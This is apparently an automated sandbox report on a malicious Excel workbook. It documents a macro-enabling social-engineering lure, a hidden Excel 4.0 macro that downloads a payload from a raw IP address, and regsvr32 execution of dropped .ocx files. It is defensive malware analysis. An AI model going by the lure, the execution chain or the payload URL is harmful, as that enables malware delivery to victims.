00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://www.odwebp.svc.ms

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 8Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 pRoTEcmwARNNG Thisfileorigin
    Source: Screenshot number: 8Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
    Source: Screenshot number: 8Screenshot OCR: Enable Macros ) Why I can not open this document? Sheet Ready O Type here to search i "I Ki
    Found malicious Excel 4.0 MacroShow sources
    Source: SRLTX-1266305223.xlsbMacro extractor: Sheet: Tiposa contains: urlmon
    Found Excel 4.0 Macro with suspicious formulasShow sources
    Source: SRLTX-1266305223.xlsbInitial sample: EXEC
    Found protected and hidden Excel 4.0 Macro sheetShow sources
    Source: SRLTX-1266305223.xlsbInitial sample: Sheet name: Tiposa1
    Source: SRLTX-1266305223.xlsbInitial sample: Sheet name: Tiposa
    Source: SRLTX-1266305223.xlsbMacro extractor: Sheet name: Tiposa1
    Source: SRLTX-1266305223.xlsbMacro extractor: Sheet name: Tiposa
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXECode function: 0_3_1643F923
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXECode function: 0_3_1643C5C3
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXECode function: 0_3_1643C63C
    Source: SRLTX-1266305223.xlsbVirustotal: Detection: 14%
    Source: SRLTX-1266305223.xlsbReversingLabs: Detection: 33%
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA
    Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 C:\ProgramData\Volet1.ocx
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 C:\ProgramData\Volet2.ocx
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 C:\ProgramData\Volet3.ocx
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 C:\ProgramData\Volet1.ocx
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 C:\ProgramData\Volet2.ocx
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 C:\ProgramData\Volet3.ocx
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\Desktop\~$SRLTX-1266305223.xlsbJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{E2A42700-AB47-4001-84B3-F41EEFA6319C} - OProcSessId.datJump to behavior
    Source: EXCEL.EXEString found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
    Source: EXCEL.EXEString found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
    Source: EXCEL.EXEString found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
    Source: EXCEL.EXEString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
    Source: EXCEL.EXEString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
    Source: classification engineClassification label: mal84.expl.evad.winXLSB@7/6@0/3
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
    Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
    Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
    Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: SRLTX-1266305223.xlsbInitial sample: OLE zip file path = xl/media/image1.jpg
    Source: SRLTX-1266305223.xlsbInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
    Source: 6FC30000.0.drInitial sample: OLE zip file path = xl/media/image1.jpg
    Source: 6FC30000.0.drInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOX
    Source: EXCEL.EXE, 00000000.00000003.499600285.000000000FE9F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437460878.000000000FE9F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421604622.000000000FE9F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693869422.000000000FE9F000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW8
    Source: EXCEL.EXE, 00000000.00000003.678903430.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.692896504.000000000E000000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437501159.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421661704.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499656687.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693932805.000000000FED9000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW
    Source: Yara matchFile source: app.xml, type: SAMPLE
    Source: EXCEL.EXE, 00000000.00000002.691804265.00000000036F0000.00000002.00020000.sdmpBinary or memory string: Program Manager
    Source: EXCEL.EXE, 00000000.00000002.691804265.00000000036F0000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
    Source: EXCEL.EXE, 00000000.00000002.691804265.00000000036F0000.00000002.00020000.sdmpBinary or memory string: Progman
    Source: EXCEL.EXE, 00000000.00000002.691804265.00000000036F0000.00000002.00020000.sdmpBinary or memory string: Progmanlock

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsCommand and Scripting Interpreter2DLL Side-Loading1Process Injection2Masquerading1OS Credential DumpingSecurity Software Discovery1Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsScripting3Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemoryProcess Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsExploitation for Client Execution21Logon Script (Windows)Logon Script (Windows)Process Injection2Security Account ManagerFile and Directory Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting3NTDSSystem Information Discovery2Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDLL Side-Loading1LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    SRLTX-1266305223.xlsb15%VirustotalBrowse
    SRLTX-1266305223.xlsb33%ReversingLabsDocument-Excel.Downloader.EncDoc

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    https://incidents.diagnosticssdf.office.comt0%Avira URL Cloudsafe
    https://token.cp.micr90%Avira URL Cloudsafe
    https://api.office.netQ#0%Avira URL Cloudsafe
    https://cdn.entity.0%URL Reputationsafe
    https://api.powerbi.0%Avira URL Cloudsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    http://schemas.open0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://login.wind0%Avira URL Cloudsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://officeci.azurewebsites.net/api/0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    http://80.71.157.224/819077238125.dat0%Avira URL Cloudsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://api.addins.store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://api.onedrive.comcent0%Avira URL Cloudsafe
    https://res.getmicrosoftkey.com/api/redemptioneventsEi50%Avira URL Cloudsafe
    https://outlook.office.com2BFEE2(0%Avira URL Cloudsafe
    https://management.azure.comg0%Avira URL Cloudsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://substrate.office.comP0%Avira URL Cloudsafe
    http://80.71.157.224/819077238125=0%Avira URL Cloudsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://staging.cortana.ai.c0%Avira URL Cloudsafe
    https://augloop.of0%Avira URL Cloudsafe
    https://api.diagnosticssdf.office.comA0%Avira URL Cloudsafe
    http://80.71.157.224/0%Avira URL Cloudsafe
    https://outlook.of0%Avira URL Cloudsafe
    https://outlook.office0%Avira URL Cloudsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe

    Domains and IPs

    Contacted Domains

    No contacted domains info

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    https://incidents.diagnosticssdf.office.comtEXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    https://shell.suite.office.com:1443EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
      		high
      https://login.windows.net/common/oauth2/authorizeTi$EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpfalse
        		high
        https://autodiscover-s.outlook.com/EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277937886.0000000013779000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
          		high
          https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt.jpgoftoOGEXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmpfalse
            		high
            https://token.cp.micr9EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://api.office.netQ#EXCEL.EXE, 00000000.00000003.678903430.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437501159.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421661704.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499656687.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693932805.000000000FED9000.00000004.00000001.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrEXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
              		high
              https://analysis.windows.net/powerbi/api$;EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpfalse
                		high
                https://cdn.entity.AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                • URL Reputation: safe
                		unknown
                https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                  		high
                  https://api.powerbi.EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://rpsticket.partnerservices.getmicrosoftkey.comEXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://lookup.onenote.com/lookup/geolocation/v1EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                    		high
                    http://schemas.openEXCEL.EXE, 00000000.00000003.537749302.0000000016544000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536341585.000000001650E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536263250.0000000016574000.00000004.00000001.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileEXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                      		high
